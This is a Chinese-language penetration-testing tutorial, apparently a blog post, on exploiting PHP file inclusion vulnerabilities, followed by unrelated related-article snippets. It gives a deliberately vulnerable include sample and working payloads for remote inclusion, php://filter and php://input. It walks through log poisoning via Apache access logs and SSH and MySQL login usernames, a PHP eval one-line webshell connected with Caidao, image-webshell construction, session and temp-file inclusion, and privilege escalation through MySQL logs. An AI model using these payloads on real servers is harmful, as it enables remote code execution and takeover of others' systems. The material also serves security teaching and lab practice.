当前位置: 首页 > news >正文

Web渗透之文件包含漏洞

文件包含漏洞原理

1、源代码

<?php$filename = $_GET['filename'];
include $filename;    //或include_once,require,require_onceecho "欢迎来到PHP的世界.";?>

2、利用条件

php.ini中alllow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启

用户参数可控且后台代码没有对包含的文件进行过滤

3、利用方式

http://localhost/文件包含-practice/fileinc.php

报错的内容是文件名不能为空,且无法打开,那我们就给上传一个文件名的参数,即

http://localhost/文件包含-practice/fileinc.php?filename=common.php

http://localhost/文件包含-practice/a.php?username=zhangsan&password=123456

http://localhost/文件包含-practice/fileinc.php?filename=a.php

http://localhost/文件包含-practice/fileinc.php?filename=a.php?username=zhangsan&password=123456

回显提示我们传入的filename值为:a.php?username=zhangsan,我们的目的的文件名是a.php,所以就没有找到对应的文件,就会报错,将?改为&即可,回显如下图所示:

http://localhost/文件包含-practice/fileinc.php?filename=a.php&username=zhangsan&password=123456

http://localhost/文件包含-practice/fileinc.php?filename=./login.html

一旦使用include或其他三个文件包含的函数,那么无论包含的文件的后缀名是什么,均会当成PHP代码执行

远程文件包含

1、利用条件

php.ini中allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启

用户参数可控且后台代码没有对包含的文件进行过滤

2、利用方式

http://localhost/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-practice/fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();

fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();,该段payload首先执行http://localhost/review/shell.php?code=phpinfo();,回显的内容是第二个主机中的phpinfo,而不是我们想要的,我们可以将shell.php修改为shell.txt,将?修改为&,这样的话不会回显第二个主机中的phpinfo,因为首先读取的是shell.txt中的一句话木马,将一句话木马的内容赋值给$filename,其次才会执行code=phpinfo();,返回的是我们想要的phpinfo

(fileinc.php?filename=http://localhost/review/shell.txt&code=phpinfo();)

PHP伪协议利用

一、伪协议介绍

PHP支持以下几种协议:

file:// -访问本地文件系统
http:// -访问HTTP(S)网址
ftp:// -访问FTP(S) URLS
php:// -访问各个输入/输出流(I/O streams)
zlib:// -压缩流
data:// -数据(RFC 2397)
glob:// -查找匹配的文件路径模式
phar:// -PHP 归档
ssh2:// -Secure Shell 2
rar:// -RAR
ogg:// -音频流
expect:// -处理交互式的流

php://是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常使用的有如下几个:

php://input     php://filter     phar://

二、php://filter

当我们直接包含common.php文件的时候,http://localhost/文件包含-practice/fileinc.php?filename=common.php

虽然代码已经调用,但是因为其是php文档,被web容器解释,导致页面看不到源码内容。

这时候使用php://将我们要读取的文件放在数据流里,然后我们通过伪协议的方式读出来

php://filter/read/convert/base64-encode/resource=common.php
http://localhost/文件包含-practice/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php

这段命令的意思就是打开数据流,把common.php的内容用base64编码的方式读出来

我们执行后,在页面上就能看到一串base64编码的方式,通过工具解码后就能看到明文源码

三、php://input

此方法需要条件,即开启allow_url_include=On。实际上这相当于一个远程包含的利用。

php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。

http://localhost/文件包含-practice/fileinc.php?filename=php://input

然后在POST请求中输入恶意代码,执行包含既可实现恶意代码的执行,比如:

<?php phpinfo(); ?>
<?php system(`ifconfig`); ?>

文件包含漏洞利用

文件包含

程序员对于多次使用的代码或数据,将其封装成一个文件,使用include,require等函数进行包含调用

文件包含漏洞

由于web应用对于用户输入的数据没有进行严格的过滤或没有进行过滤,导致用户输入的数据可以直接接触危险函数include,require等函数,从而使用户或攻击者的文件内容执行,使服务器沦陷。

首先先进入到/opt/lampp/logs,看一下其日志

将access_log和mysql_log给删除掉,然后再重新启动服务,日志文件就会重新生成

访问一下这个网址,发现日志信息中已经被记载啦

访问一下这个网址,发现无法找到对象

查看日志文件,发现多了一条记录

然后去访问一下这个日志,发现已经被包含进去了

我们发现有问题,通过查看原文件可以知道有些符号被转码了,有可能是浏览器先进行转码,然后发送给服务器,服务器如实的将其给记录下来,当浏览器进行访问的时候,服务器将其直接给发送过来了

我们在后面直接跟上一句话木马,然后不要让浏览器进行发送,使用bp抓包,通过bp去发送给服务器

发现日志依旧被转码

从bp中可以得知,是浏览器进行转码的

从bp中进行修改,将被转码的给修改过来

将抓取到的先发送到repeter,然后进行forward

然后再去查看一下日志,发现没有被转码的,大概率有可能成功,但是后面的东西没有了 ,应该是遇到空格就会截断

将空格删除了,然后send

然后去查看日志,发现全部没有被转码,成功写入

然后使用文件包含,给我们回显的内容是400,964,说明已经开始执行php代码了

将只有<?php的日志给删除

然后再去执行一下,给我们回显的内容是找不到phpinfo()这个函数,是因为在日志中函数与<?php和后面的?>连接到了一起,无法查找到这个函数

将转码成功的日志删除掉,进去repeter,将<?php中的php给删除掉,只变成<?phpinfo()?>,然后send,发现日志没有被记录进去,然后无论如何修改,日志都无法记录进去,我们可以重启一下,发现可以被记录进去了

然后send

 发现被记录进去了

然后我们将日志文件包含进去访问一下,利用成功

文件路径如果遇到空格就会被切断的话,还有一个办法就是,在一句话木马两边加上双引号,里边的东西就不会被切断,也可以正常的去写php,也就是<?php @eval($_POST['code']); ?>


然后发送出去

去查看日志,发现写入成功,但是?不见啦。所以我们将后面的空格给删除了,重新发送一遍

发现写入成功,成功构造出了一句话木马,将倒数第二行给删除,如果存在的话就会报错,无法执行我们最新写进去的一句话木马

然后继续执行就可以看到文件包含成功了,phpinfo()被正常的解析

使用菜刀进行连接

成功获取到了权限

利用前提

(1)存在一个文件包含漏洞点

(2)我们有其他可控点可以写入到本地文件

(3)写入的本地文件路径可知或可预测

包含web日志

前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache

apache记录web日志的文件有access.log和error.log

这时候我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都说默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。

比如get请求 get"<?php phpinfo();?>".html

包含登录日志

如果发现一个Linux系统,开放了22端口,同时存在文件包含漏洞。那么我们可以构造恶意登录在ssh登录日志中写入恶意代码。

Linux默认登录日志路径: /var/log/auth.log或/var/log/secure

使用xshell或ssh命令进行ssh登录:ssh"<?php phpinfo(); ?>"@192.68.3.17,此时,登录日志中将出现PHP代码。

如果MySQL开放远程登录,我们也同样可以登录MySQL并包含MySQL日志:mysql -u "<?php phpinfo(); ?>" -p -h 192.168.3.17

在Linux上默认是关闭MySQL日志的,开启MySQL日志:

o+r的权限,就是允许其他用户可读

首先进入到log目录下

其次使用ll查看一下文件的权限等等问题

secure默认日志文件其他账号是不能够进行读取的

在secure日志中找到了能够进行包含的日志文件

进行日志的实时监听,找一找可以使用的点,rhost那儿不行,因为那是我们本机登录的客户端IP地址,然后继续往下看,发现有用户

我们可以在用户这个层面上进行注入,直接输入<?phpinfo();?>发现会报错,我们在两边加上双引号,让它成为一个字符串,然后进行执行

发现执行成功,写了一条日志,用户名在日志中出现了,那么就是一个有效的php代码,然后就可以使用文件包含进行执行这个有效的php代码

进入到mysql的日志信息中去,经过观察,有一些mysql的登录信息

使用远程登录数据库,然后将密码输错,在用户名那儿进行做文章

mysql -u "<?php phpinfo(); ?>" -p -h 192.168.122.188

然后查看mysql的日志,发现有被包含进去的有效的PHP代码

然后在浏览器上访问mysql的日志,发现权限不允许

然后通过ll命令去查看mysql.log的访问权限,mysql的日志文件是由mysql这个用户生成的

我们给其授予o+r的权限,因为我们是root用户,所以可以授权,同时也是我们自己的环境,如果是现实真实环境的话,我们就无法去做到授予权限

然后再去查看mysql.log的日志权限,发现已经有r的权限啦,然后我们就可以进行包含利用啦

然后再继续访问,发现可以包含成功了,成功解析了日志文件中的有效的PHP代码

首先进入到mysql目录下,然后使用ll命令查看文件的权限,我们可以自己创建一个目录,把这个目录当作mysql日志信息的目录,然后修改owner,修改为mysql用户,意思是该mysql的日志信息是由mysql用户写入的,将 log 目录(或文件)的所有者更改为用户 mysql

包含mysql日志

包含mysql一般是在成功访问到MySQL后实现的。攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码的写入mysql日志。方法和原理与包含Web日志相同。比如进入phpmyadmin后台,或者爆破成功进入MySQL。

查看日志文件状态:show varianbles like 'general_log'

写入恶意代码:select "<?php @eval($_POST['code']); ?>",根据日志文件路径即可包含。虽然能够到这一步,已经是渗透测试成功,但是如果Web服务器的权限更高的话,那么可以让Web服务器来包含日志,这样Web Shell就会被高权限账号执行,实现提权。

进入到mysql的日志文件mysql.log,并用tail -f mysql.log进行实时查看

 然后去执行这条mysql命令

找到刚才的SQL语句,里面有一段有效的PHP代码

我们已经能够执行SQL语句,说明我们获得了一个比较高的权限,不存在包含日志,有可能是因为不同账户之间存在一些权限的问题,所以我们就想着用mysql账户去写一条日志,在web浏览器上包含进来,然后可以使用web服务器的权限来执行了,如果web服务器的权限比较高,我们就成功的提权了

包含上传文件

上传的话因为会检查后缀名,导致直接上传可执行文件失败,如果存在文件包含,就可以上传符合服务器的后缀名文件,但是在文件中写入恶意代码。比如使用图片马来进行文件上传,进而再将其包含进来

copy picture.jpg/b + shell.php/a picna.jpg

首先先去找一张图片

使用浏览器去访问一下,图片包含进去就是这个样子,以文本的形式进行输出,所以我们想办法往图片里边插入一句话木马,就变成了图片马

随便去找一张图片

然后还有一个shell.php

 同时打开这两个东西,我们将这两个东西合起来,制作一张图片马,进到该文件所在目录的终端里面

/b是二进制,表示cloud.jpg/b是一个二进制文件,shell.php/a是一个文本,将shell.php加到cloud.jpg的后面,然后复给picma.jpg

发现图片马也是一张图片,没有任何问题

将其用记事本打开,拉到最后面,发现有我们需要的PHP的有效的代码

上传这个图片马,发现上传成功

接下来在文件包含里面包含这个图片马,然后就可以得到phpinfo啦

还可以执行一些其他指令

包含临时文件

临时文件指的是服务器会短暂存储,但是后续很快删除的文件。比如上传检测的时候,某些检测机制会先把上传的文件保存到一个临时文件夹里或沙盒里,临时文件要看具体业务逻辑,而且包含临时文件需要利用条件竞争的方式。动静比较大,容易被发现。

竞争条件的使用方法:

a、使用burpsuite不停的发送上传包

b、我们在文件包含页面不停的尝试包含上传文件,期望恶意文件在被服务器删除之前访问到。

c、一旦包含成功,即使文件被删除,只要shell不断,就可以保持连接

包含session文件

通过cookie可以得知sessionID,session文件默认在服务器中存放的格式是sess_(sessID),而路径也是固定的,大多存在tmp目录下,因此只要找到一个可以控制session文件写入的点,就能利用包含漏洞getshell

让有效的PHP代码写入到session文件当中去

然后把session文件包含进去,只要里面有一段有效的PHP代码,我们就可以直接执行啦,最大的问题就是看看这个网站能不能构造出写session文件的地方,然后我们把代码给写进去,这个session文件是相对路径

我们也可以使用绝对路径

相关文章:

Web渗透之文件包含漏洞

文件包含漏洞原理 1、源代码 <?php$filename $_GET[filename]; include $filename; //或include_once,require,require_onceecho "欢迎来到PHP的世界.";?> 2、利用条件 php.ini中alllow_url_fopenOn(默认开启)和allow_url_includeOff(默认关闭)要开启…...

费马引理和罗尔定理

cheer 向……欢呼&#xff0c;使高兴&#xff0c;欢呼&#xff0c;欢呼&#xff0c;愉快 前言区间平均值费马引理罗尔三步万能构造原函数的方法什么时候用罗尔定理计划拉格朗日需要记忆的不等式柯西中值定理泰勒高阶导数判断极值最后 前言 继续学习。今天争取把讲义和作业题都…...

【合新通信】浸没式液冷中低成本冷媒开发的最新进展

浸没式液冷光模块是一种结合高效散热技术与光通信的新型解决方案&#xff0c;主要用于数据中心、超算中心等高密度计算场景。其核心特点是通过将光模块直接浸入绝缘冷却液中&#xff08;如矿物油、氟化液等&#xff09;&#xff0c;实现高效散热和节能降耗。低成本冷却液的研发…...

【开发记录】服务外包大赛记录

参加服务外包大赛的A07赛道中&#xff0c;最近因为频繁的DEBUG&#xff0c;心态爆炸 记录错误 以防止再次出现错误浪费时间。。。 2025.4.13 项目在上传图片之后 会自动刷新 没有等待后端返回 Network中的fetch /upload显示canceled. 然而这是使用了VS的live Server插件才这样&…...

智能指针之设计模式1

本文探讨一下智能指针和GOF设计模式的关系&#xff0c;如果按照设计模式的背后思想来分析&#xff0c;可以发现围绕智能指针的设计和实现有设计模式的一些思想体现。当然&#xff0c;它们也不是严格意义上面向对象的设计模式&#xff0c;毕竟它们没有那么分明的类层次体系&…...

Spring Boot 中应用的设计模式

Spring Boot 中应用的设计模式详解 Spring Boot 作为 Spring 框架的扩展&#xff0c;广泛使用了多种经典设计模式。以下是主要设计模式及其在 Spring Boot 中的具体应用&#xff1a; 一、创建型模式 1. 工厂模式 (Factory Pattern) 应用场景&#xff1a; BeanFactory 和 Ap…...

23种GoF设计模式

GoF&#xff08;Gang of Four&#xff09;设计模式是由四位计算机科学家 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides 合著的书籍《Design Patterns: Elements of Reusable Object-Oriented Software》中提出的设计模式 目录 一、创建型模式&#xff08;Cre…...

Python实例题:Python实现中文错别字高亮系统

目录 Python实例题 题目 安装依赖库 代码实现 代码解释 运行思路 注意事项 Python实例题 题目 Python实现中文错别字高亮系统 安装依赖库 在开始之前&#xff0c;你需要安装 pycorrector 和 rich 库。可以使用以下命令进行安装&#xff1a; pip install pycorrecto…...

【第三十一周】ViT 论文阅读笔记

ViT 摘要Abstract文章信息引言方法Patch EmbeddingPatch Position EmbeddingTransformer EncoderMLP Head整体架构CNN的归纳偏置 代码实现实验结果总结 摘要 本篇博客介绍了Vision Transformer&#xff08;ViT&#xff09;&#xff0c;这是一种突破性的图像分类模型&#xff…...

射频(RF)静电放电防护方案

方案简介 射频&#xff08;RF&#xff09;是 Radio Frequency 的缩写&#xff0c;表示可以辐射到空间的电磁频率&#xff0c;频率 范围从 300kHz&#xff5e;300GHz 之间。射频就是射频电流&#xff0c;简称 RF&#xff0c;它是一种高频交流变化 电磁波的简称。射频天线是一…...

【redis进阶三】分布式系统之主从复制结构(1)

目录 一 为什么要有分布式系统&#xff1f; 二 分布式系统涉及到的非常关键的问题&#xff1a;单点问题 三 学习部署主从结构的redis (1)创建一个目录 (2)进入目录拷贝两份原有redis (3)使用vim修改几个选项 (4)启动两个从节点服务器 (5)建立复制&#xff0c;要想配…...

排序(1)

排序&#xff08;1&#xff09; 日常生活中&#xff0c;有很多场景都会用到排序。比如你买东西&#xff0c;在购物软件就有几种展现方式&#xff0c;按照评论数量给你排序出来&#xff0c;让你选&#xff0c;还是说按照价钱高低排序出来让你选。 排序其实是一种为了更好解决问…...

NR 5G中的N5接口

N5接口的定义: Reference point between the PCF and an AF or TSN AF. 即N5 PCF和AF之间的参考点。 AF Application Function 应用功能&#xff0c;指应用层的各种服务&#xff0c;可以是运营商内部的应用如Volte AF(类似4G的Volte As&#xff09;、也可以是第三方的AF&…...

STM32自学进阶指南:从入门到精通的成长路径 | 零基础入门STM32第九十九步

主题内容教学目的/扩展视频自学指导通过数据手册和搜索引擎查找资料,独立解决问题以积累经验和提升能力。自学过程中应保持敬畏之心,不断总结未知领域,持续进步。师从洋桃电子,杜洋老师 📑文章目录 一、自学指导全景图1.1 学习路线对比1.2 关键学习策略二、待探索技术领域…...

利用 Python 进行股票数据可视化分析

在金融市场中&#xff0c;股票数据的可视化分析对于投资者和分析师来说至关重要。通过可视化&#xff0c;我们可以更直观地观察股票价格的走势、交易量的变化以及不同股票之间的相关性等。 Python 作为一种功能强大的编程语言&#xff0c;拥有丰富的数据处理和可视化库&#xf…...

用 Vue.js 构建基础购物车:从 0 到 1 的实战解析

在当今数字化购物的浪潮中&#xff0c;购物车功能已成为电商平台不可或缺的一部分。它不仅承担着记录用户所选商品的重任&#xff0c;还需提供流畅的交互体验和精准的计算逻辑。本文将深入探讨如何利用 Vue.js 这一强大的 JavaScript 框架&#xff0c;逐步搭建一个基础但功能完…...

MapSet常用的集合类(二叉搜索树,哈希表)

Set集合 Set的核心特点&#xff1a; Set继承了Collection。 保存的元素不会重复。 保存的元素不能修改。 保存的元素无序&#xff0c;和List不同&#xff0c;如果有两个&#xff1a;List {1&#xff0c;2&#xff0c;3}&#xff0c;List {2&#xff0c;1&#xff0c;3}&…...

五种IO模型

1、通信的本质&#xff1a; 通过网络通信的学习&#xff0c;我们能够理解网络通信的本质是进程间通信&#xff0c;而进程间通信的本质就是IO。 IO也就是input和output。当读取条件不满足的时候&#xff0c;recv会阻塞。write写入数据时&#xff0c;会将数据拷贝到缓冲区中&am…...

路由器开启QOS和UPNP的作用

QOS 的作用 保障关键业务带宽&#xff1a;可根据网络应用的重要性分配带宽。比如在家庭网络中&#xff0c;当多人同时使用网络时&#xff0c;将视频会议等实时性要求高的关键业务设置为高优先级&#xff0c;确保其能获得足够带宽&#xff0c;避免卡顿&#xff0c;而文件下载等…...

学习MySQL的第九天

纸上得来终觉浅 绝知此事要躬行 数据处理的增删查改 一、添加数据 添加数据有两种方式&#xff0c;一种是一条一条的添加数据&#xff0c;另一种是通过对其他表的查询&#xff0c;将查询的结果插入到表中&#xff1b;第一种方式又可以分为三种方式&#xff1a…...

怎么免费下载GLTF/GLB格式模型文件,还可以在线编辑修改

​ 现在非常流行glb格式模型&#xff0c;和gltf格式文件&#xff0c;可是之类模型网站非常非常少 1&#xff0c;咱们先直接打开http://glbxz.com 官方glb下载网站 glbxz.com 2 可以搜索&#xff0c;自己想要的模型关键词 3&#xff0c;到自己想下载素材页面 4&#xff0c;…...

高效数据拷贝方法总结

1.系统/语言层面的高效拷贝 内存拷贝优化 使用memcpy(C/C)或类似函数进行大块内存拷贝 利用SIMD指令(如AVX/SSE)进行向量化拷贝 2.零拷贝技术 文件映射(mmap) - 将文件映射到内存空间 发送文件描述符而非数据本身(Unix域套接字) 使用sendfile系统调用(文件到套接字直接传…...

C 语言 第八章 文件操作

目录 文件操作 文件和流的介绍 C 输入 & 输出 C 文件的读写 创建/打开文件 写入文件 fputc 函数 fputs 函数 fprintf 函数 实例&#xff1a; 读取文件 fgets函数 实例&#xff1a; 关闭文件 文件操作 文件和流的介绍 变量、数组、结构体等数据在运行时存储于内存…...

开发一款游戏需要哪些岗位角色参与?

常见分类 1. 游戏策划&#xff08;Game Designer&#xff09; 核心职责&#xff1a;设计游戏的玩法、规则、内容和整体体验。 具体工作&#xff1a; 系统设计&#xff1a;设计游戏的战斗、经济、成长、社交等核心系统。 数值设计&#xff1a;平衡角色属性、装备数值、经济系…...

大模型面经 | 手撕多头注意力机制(Multi-Head Attention)

大家好,我是皮先生!! 今天给大家分享一些关于大模型面试常见的面试题,希望对大家的面试有所帮助。 往期回顾: 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题一) 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题二) 大模型面经 | 春招、秋招算法…...

二叉树的初步学习

前言 对于二叉树的学习不想其他数据结构一样&#xff0c;直接学习他的结构的构建。单纯的一个二叉树在实际中没什么作用&#xff0c;除非是加了限制条件的&#xff0c;比如大名鼎鼎的红黑树。但是对于初学者而言&#xff0c;刚开始就学习红黑树&#xff0c;会让你刚接触就想放…...

Tkinter菜单和工具栏的设计

在这一章中,我们将深入探讨如何在Tkinter应用程序中设计菜单和工具栏。菜单和工具栏是桌面应用程序中常见的界面元素,它们为用户提供了便捷的操作方式。通过这一章的学习,您将能够在您的Tkinter应用中添加菜单栏和工具栏,提升用户体验。 6.1 菜单栏的设计 菜单栏是应用程…...

windows中搭建Ubuntu子系统

windows中搭建虚拟环境 1.配置2.windows中搭建Ubuntu子系统2.1windows配置2.1.1 确认启用私有化2.1.2 将wsl2设置为默认版本2.1.3 确认开启相关配置2.1.4重启windows以加载更改配置 2.2 搭建Ubuntu子系统2.2.1 下载Ubuntu2.2.2 迁移位置 3.Ubuntu子系统搭建docker环境3.1安装do…...

Docker 部署 Kafka 完整指南

Docker 部署 Kafka 完整指南 本指南将详细介绍如何使用 Docker 部署 Kafka 消息队列系统&#xff0c;包括单节点和集群模式的部署方式。 1. 单节点部署 (Zookeeper Kafka) 1.1 创建 docker-compose.yml 文件 version: 3.8services:zookeeper:image: bitnami/zookeeper:3.8…...

java学习总结(if switch for)

一.基本结构 1.单分支if int num 10; if (num > 5) {System.out.println("num 大于 5"); } 2.双分支if-else int score 60; if (score > 60) {System.out.println("及格"); } else {System.out.println("不及格"); } 3.多分支 int…...

解释:指数加权移动平均(EWMA)

指数加权移动平均&#xff08;EWMA, Exponential Weighted Moving Average&#xff09; 是一种常用于时间序列平滑、异常检测、过程控制等领域的统计方法。相比普通移动平均&#xff0c;它对最近的数据赋予更高权重&#xff0c;对旧数据逐渐“淡化”。 ✅ 一、通俗理解 想象你…...

open harmony多模组子系统分析

multimodalinput是open harmony的核心输入子系统&#xff0c;负责统一管理触摸屏&#xff0c;键盘&#xff0c;鼠标&#xff0c;手势&#xff0c;传感器等多种 输入源&#xff0c;提供标准化事件分发机制。其核心 目标是通过统一的事件处理框架&#xff0c;实现跨设备&#xff…...

Hello Java!

1. Java发展史 1.1 计算机编程语言分类 机器语言&#xff1a;电子机器能够直接识别的语言&#xff0c;无需经过翻译&#xff0c;计算机内部就有相应的电路来完成它&#xff1b;从使用的角度来看&#xff0c;机器语言是最低级的语言。 机器语言。指令以二进制代码形式存在。 汇…...

vue 入门:生命周期

文章目录 vue组件的生命周期创建阶段更新阶段销毁阶段生命周期钩子函数 vue组件的生命周期 创建阶段、销毁阶段&#xff1a;只会执行一次更新阶段&#xff1a;会执行多次 创建阶段 beforeCreate 在实例初始化之后&#xff0c;数据观测&#xff08;data observer&#xff09;…...

C#容器源码分析 --- Dictionary<TKey,TValue>

Dictionary<TKey, TValue> 是 System.Collections.Generic 命名空间下的高性能键值对集合&#xff0c;其核心实现基于​​哈希表​​和​​链地址法&#xff08;Separate Chaining&#xff09;。 .Net4.8 Dictionary<TKey,TValue>源码地址&#xff1a; dictionary…...

yum的基本操作和vim指令

在我们的手机端或者Windows上下载软件&#xff0c;可以在相应的应用商店或者官网进行下载&#xff0c;这样对于用户来说十分的方便和便捷。而在Linux上&#xff0c;也有类似的安装方式&#xff0c;我们来一一了解一下。 Linux安装软件的3种方法 源代码安装 在Linux下安装软件…...

MCU刷写——HEX与S19文件互转详解及Python实现

工作之余来写写关于MCU的Bootloader刷写的相关知识,以免忘记。今天就来聊聊Hex与S19这这两种文件互相转化,我是分享人M哥,目前从事车载控制器的软件开发及测试工作。 学习过程中如有任何疑问,可底下评论! 如果觉得文章内容在工作学习中有帮助到你,麻烦点赞收藏评论+关注走…...

深入探讨避免MQ消息重复消费的策略与实现

引言 随着微服务架构的流行&#xff0c;消息队列&#xff08;Message Queue, MQ&#xff09;作为系统间异步通信的重要手段&#xff0c;被广泛应用于各种场景。然而&#xff0c;在使用MQ的过程中&#xff0c;一个不容忽视的问题是消息可能被重复消费。这不仅可能导致数据不一致…...

定制一款国密浏览器(8):SM3 摘要算法

上一章我们讲到了铜锁和 BoringSSL,本章从最简单的国密算法 SM3 摘要算法入手,说明一下 SM3 算法的移植要点。 SM3 算法本身并不复杂,详细算法说明参考《GB∕T 32905-2016信息安全技术 SM3密码杂凑算法》这份文档。因为铜锁开源项目有实现代码,直接照搬过来。 将 crypto/…...

【Docker基础】Compose 使用手册:场景、文件与命令详解

文章目录 一、什么是 Docker Compose二、为什么需要 Docker Compose三、Docker Compose 使用步骤 / 核心功能步骤核心功能&#xff1a; 四、Docker Compose 的使用场景五、Docker Compose 文件&#xff08;docker-compose.yml&#xff09;文件语法版本文件基本结构及常见指令常…...

RT-2论文深度解读:视觉-语言-动作统一模型的机器人泛化革命

1. 核心问题与挑战 传统机器人学习存在两大瓶颈&#xff1a; 数据效率低下&#xff1a;依赖特定场景的机器人操作数据&#xff08;如抓取、推压&#xff09;&#xff0c;收集成本高泛化能力局限&#xff1a;模型仅能完成训练中出现过的任务&#xff0c;无法应对长尾场景 RT-…...

git 提交标签

Git 提交标签 提交消息格式&#xff1a; <type>: <description> &#xff08;示例&#xff1a;git commit -m "feat: add user login API"&#xff09; 标签适用场景feat新增功能&#xff08;Feature&#xff09;。fix修复 Bug&#xff08;Bug fix&…...

学习率(Learning Rate)

学习率&#xff08;Learning Rate&#xff09;是深度学习中最关键的超参数之一&#xff0c;它控制模型在每次参数更新时的“步长大小”。简单来说&#xff1a;它决定了模型从错误中学习的“速度”。 直观比喻 想象你在山顶蒙眼下山&#xff08;找最低点&#xff09;&#xff1…...

李宏毅NLP-3-语音识别part2-LAS

语音识别part2——LAS Listen Listen主要功能是提取内容信息&#xff0c;去除说话人差异和噪声 。编码器&#xff08;Encoder&#xff09;结构&#xff0c;输入是声学特征&#xff0c;经过 Encoder 处理后&#xff0c;输出为高级表示&#xff0c;这些高级表示可用于后续语音识别…...

游戏引擎学习第222天

回顾昨天的过场动画工作 我们正在制作一个游戏&#xff0c;目标是通过直播的方式完成整个游戏的开发。在昨天的工作中&#xff0c;我享受了制作过场动画的过程&#xff0c;所以今天我决定继续制作多个层次的过场动画。 昨天我们已经开始了多层次过场动画的基本制作&#xff0…...

双系统win11 + ubuntu,如何完全卸载ubuntu系统?

双系统win11 ubuntu&#xff0c;如何完全卸载ubuntu? 注意事项 操作前确保有 Windows 安装介质&#xff08;USB&#xff09;&#xff0c;以防需要修复对 EFI 分区的操作要格外小心如果使用 BitLocker&#xff0c;可能需要先暂停保护如果遇到问题&#xff0c;可以使用 Windows…...

【T2I】Region-Aware Text-to-Image Generation via Hard Binding and Soft Refinement

code&#xff1a; https://github.com/NJU-PCALab/RAG-Diffusion Abstract 区域提示&#xff0c;或组成生成&#xff0c;能够实现细粒度的空间控制&#xff0c;在实际应用中越来越受到关注。然而&#xff0c;以前的方法要么引入了额外的可训练模块&#xff0c;因此只适用于特定…...

HarmonyOS:Map Kit简介

一、概述 Map Kit&#xff08;地图服务&#xff09; 为开发者提供强大而便捷的地图能力&#xff0c;助力全球开发者实现个性化显示地图、位置搜索和路径规划等功能&#xff0c;轻松完成地图构建工作。您可以轻松地在HarmonyOS应用/元服务中集成地图相关的功能&#xff0c;全方位…...

【从零实现高并发内存池】- 项目介绍、原理 及 内存池详解

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…...

CSS margin(外边距)学习笔记

CSS 中的 margin 属性用于定义元素周围的空白区域&#xff0c;它是一个非常重要的布局工具&#xff0c;可以帮助我们控制元素之间的间距&#xff0c;从而实现更美观和易用的页面布局。以下是对 margin 属性的详细学习笔记。 一、margin 的基本概念 margin 是元素周围的透明区…...